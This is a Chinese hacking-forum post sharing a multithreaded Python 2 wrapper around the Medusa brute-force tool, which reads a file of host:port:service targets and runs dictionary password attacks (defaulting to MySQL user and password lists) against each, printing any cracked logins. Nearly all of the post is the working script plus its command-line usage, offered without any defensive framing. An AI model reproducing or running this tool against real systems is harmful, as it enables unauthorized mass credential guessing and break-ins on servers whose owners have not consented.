搜索
查看: 445|回复: 0

python 封装的 medusa 的多线程版本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-9-17 18:32:29 | 显示全部楼层 |阅读模式
代码如下:
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # auto crack with medusa
  4. # piaca

  5. import os
  6. import sys
  7. import Queue
  8. import threading
  9. import subprocess

  10. class Medusa(threading.Thread):

  11.     def __init__(self, host_queue):
  12.         threading.Thread.__init__(self)
  13.         self.medusa_script = "/usr/bin/medusa"
  14.         self.user_dict = "mysql_user.txt"
  15.         self.pass_dict = "mysql_pass.txt"
  16.         self.host_queue = host_queue
  17.         self.timeout = 600
  18.         self.lock = threading.Lock()

  19.     def run(self):
  20.         while True:
  21.             if self.host_queue.qsize() > 0:
  22.                 self.host = self.host_queue.get()
  23.                 self.crack(self.host)
  24.             else:
  25.                 break

  26.     def crack(self, host):
  27.         self.host, self.port, self.module = host.split(":")
  28.         self.command = [self.medusa_script, "-h", self.host, "-n", self.port, "-U", self.user_dict, "-P", self.pass_dict, "-e", "ns" ,"-M", self.module, "-f", "-v", "4"]

  29.         self.proc = subprocess.Popen(self.command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  30.         self.pid = self.proc.pid

  31.         if self.timeout:
  32.             self.timer = threading.Timer(self.timeout, self.ontimeout, (host,))
  33.             self.timer.start()

  34.         self.ret = self.proc.stdout.readlines()
  35.         if len(self.ret) == 3:
  36.             if "SUCCESS" in self.ret[2]:
  37.                 self.lock.acquire()
  38.                 print self.host, self.port, self.ret[2]
  39.                 self.lock.release()
  40.         stdmsg, errmsg = self.proc.communicate()
  41.         self.timer.cancel()

  42.     def ontimeout(self, host):
  43.         if self.proc is not None:
  44.             self.timer.cancel()
  45.             self.lock.acquire()
  46.             print "medusa will be stopped because of crack [%s] time out." % host
  47.             self.lock.release()
  48.             self.proc.terminate()
  49.             self.proc.kill()
  50.             self.proc.wait()

  51. if __name__=='__main__':

  52.     if len(sys.argv) != 3:
  53.         print "error"
  54.         sys.exit(1)

  55.     host_file = sys.argv[1]
  56.     num_works = int(sys.argv[2])
  57.     host_queue = Queue.Queue(0)

  58.     hosts = open(host_file, "r").readlines()

  59.     for host in hosts:
  60.         host = host.strip()
  61.         if host != "":
  62.             host_queue.put(host)

  63.     medusa_threads = []
  64.     for x in range(num_works):
  65.         medusa_threads.append(Medusa(host_queue))
  66.      
  67.     for medusa_thread in medusa_threads:
  68.         medusa_thread.start()
  69.      
  70.     for medusa_thread in medusa_threads:
  71.         medusa_thread.join()
复制代码

具体用法是:

python medusa.py target.txt 20

target.txt 是含有目标 IP、端口和需要破解服务的文件,每行一个目标,冒号作为分隔符;
20 是线程数
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表